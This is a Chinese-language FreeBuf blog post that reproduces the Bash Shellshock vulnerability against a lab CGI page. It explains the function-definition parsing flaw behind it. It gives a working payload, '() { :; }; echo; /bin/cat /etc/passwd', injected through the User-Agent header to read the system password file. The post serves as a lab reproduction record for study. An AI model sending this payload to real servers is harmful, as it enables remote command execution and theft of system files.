freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

bash(Shellshock)漏洞复现
F_ 2021-03-15 18:46:06 359950

Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。

Bash,Unix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的Cygwin与MinGW,或是可以在MS-DOS上使用的DJGPP项目。在Novell NetWare与Android上也有移植。

目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题的是以”(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行未退出,而是继续解析并执行shell命令,而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

本文仅作漏洞复现记录与实现,利用流程如下:

1.漏洞环境

链接:http://192.168.101.152:8080/victim.cgi

1615804533_604f3875c083a9425f33d.png!small

2.漏洞payload

() { :; }; echo; /bin/cat /etc/passwd

理论上,可以在HTTP请求中注入一个Bash命令,进行远程命令执行

3.利用流程

访问目标

1615804690_604f3912491e7732ad6fd.png!small

将User-Agent值替换为payload,即可执行命令

1615804592_604f38b0b35eb2973fa15.png!small

User-Agent并非必须条件

1615804829_604f399dbfd348a6d2496.png!small

# 漏洞复现
本文为 F_ 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
F_ LV.5
这家伙太懒了,还未填写个人描述!
  • 28 文章数
  • 11 关注者
使用AnyDesk静默安装控制主机
2022-06-08
没什么用处的上线方式增加了
2021-05-16
基础免杀-特征码定位
2021-05-06